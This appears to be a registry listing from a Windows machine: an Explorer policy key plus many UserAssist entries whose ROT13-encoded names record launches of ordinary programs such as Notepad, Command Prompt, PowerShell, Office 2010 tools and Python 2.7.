HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInstrumentation
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Vagrearg Rkcybere.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\HRZR_PGYPHNPbhag:pgbe
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Pbzznaq Cebzcg.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Abgrcnq.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Jvaqbjf Rkcybere.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Npprffvovyvgl\Aneengbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Npprffvovyvgl\Ba-Fperra Xrlobneq.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Flfgrz Gbbyf\Cevingr Punenpgre Rqvgbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npebong.pbz.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zrqvn Pragre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Fvqrone.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Jvaqbjf Nalgvzr Hctenqr.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Jvaqbjf QIQ Znxre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Jvaqbjf Zrqvn Cynlre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Zngu Vachg Cnary.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Zbovyvgl Pragre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\ArgjbexCebwrpgvba.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Fbhaq Erpbeqre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flap Pragre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jbeqcnq.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Npprffvovyvgl\Fcrrpu Erpbtavgvba.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Punenpgre Znc.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\qsethv.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Qvfx Pyrnahc.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Erfbhepr Zbavgbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Flfgrz Vasbezngvba.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Flfgrz Erfgber.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Jvaqbjf Rnfl Genafsre Ercbegf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Jvaqbjf Rnfl Genafsre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Gnoyrg CP\FuncrPbyyrpgbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Gnoyrg CP\GnoGvc.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Gnoyrg CP\Jvaqbjf Wbheany.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jvaqbjf CbjreFuryy\Jvaqbjf CbjreFuryy (k86).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jvaqbjf CbjreFuryy\Jvaqbjf CbjreFuryy VFR (k86).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jvaqbjf CbjreFuryy\Jvaqbjf CbjreFuryy VFR.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jvaqbjf CbjreFuryy\Jvaqbjf CbjreFuryy.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Pbzcbarag Freivprf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Pbzchgre Znantrzrag.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Qngn Fbheprf (BQOP).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Rirag Ivrjre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\vFPFV Vavgvngbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Zrzbel Qvntabfgvpf Gbby.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Cresbeznapr Zbavgbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Cevag Znantrzrag.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Frphevgl Pbasvthengvba Znantrzrag.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Flfgrz Pbasvthengvba.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Gnfx Fpurqhyre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Jvaqbjf Sverjnyy jvgu Nqinaprq Frphevgl.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Jvaqbjf CbjreFuryy Zbqhyrf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Znvagranapr\Perngr Erpbirel Qvfp.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Znvagranapr\Erzbgr Nffvfgnapr.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Qvtvgny Pregvsvpngr sbe ION Cebwrpgf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Zvpebfbsg Pyvc Betnavmre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Zvpebfbsg Bssvpr 2010 Ynathntr Cersreraprf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Zvpebfbsg Bssvpr 2010 Hcybnq Pragre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Zvpebfbsg Bssvpr Cvpgher Znantre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Bssvpr Nalgvzr Hctenqr.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Clguba 2.7\VQYR (Clguba THV).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Clguba 2.7\Zbqhyr Qbpf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Clguba 2.7\Clguba (pbzznaq yvar).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\abgrcnq.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\HRZR_PGYPHNPbhag:pgbe
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\aneengbe.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\bfx.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\rhqprqvg.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Nqbor\Npebong.pbz\Npebong.pbz.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.ZrqvnPragre
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{Q4N262QQ-PR44-Q105-S36O-9Q77N8PO65N4}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\JvaqbjfNalgvzrHctenqrHV.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\QIQ Znxre\QIQZnxre.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.ZrqvnCynlre32
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Pbzzba Svyrf\Zvpebfbsg Funerq\Vax\zvc.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{NN198O3P-PQ8P-7QR1-98Q1-O460S637193O}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\ArgCebw.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\FbhaqErpbeqre.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zboflap.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Jvaqbjf AG\Npprffbevrf\jbeqcnq.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{QNN168QR-4306-P8OP-8P11-O596240OQQRQ}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\puneznc.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\qsethv.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\pyrnazte.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{P804OON7-SN5S-POS7-8O55-2096R5S972PO}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zfvasb32.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\efgehv.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zvtjvm\cbfgzvt.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zvtjvm\zvtjvm.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Pbzzba Svyrf\Zvpebfbsg Funerq\Vax\FuncrPbyyrpgbe.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Pbzzba Svyrf\Zvpebfbsg Funerq\Vax\GnoGvc.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Jvaqbjf Wbheany\Wbheany.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}\JvaqbjfCbjreFuryy\i1.0\cbjrefuryy.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}\JvaqbjfCbjreFuryy\i1.0\CbjreFuryy_VFR.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\JvaqbjfCbjreFuryy\i1.0\CbjreFuryy_VFR.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\JvaqbjfCbjreFuryy\i1.0\cbjrefuryy.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\pbzrkc.zfp
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{8NOQ94SO-R7Q6-84N6-N997-P918RQQR0NR5}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\bqopnq32.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{OO044OSQ-25O7-2SNN-22N8-6371N93R0456}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\vfpfvpcy.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\ZqFpurq.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{8NN47365-O2O3-1961-69RO-S866R376O12S}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\cevagznantrzrag.zfp
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{OQ3S924R-55SO-N1ON-9QR6-O50S9S2460NP}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zfpbasvt.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\JS.zfp
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{15067OP1-P5N8-425R-37P6-SN0O891674S9}
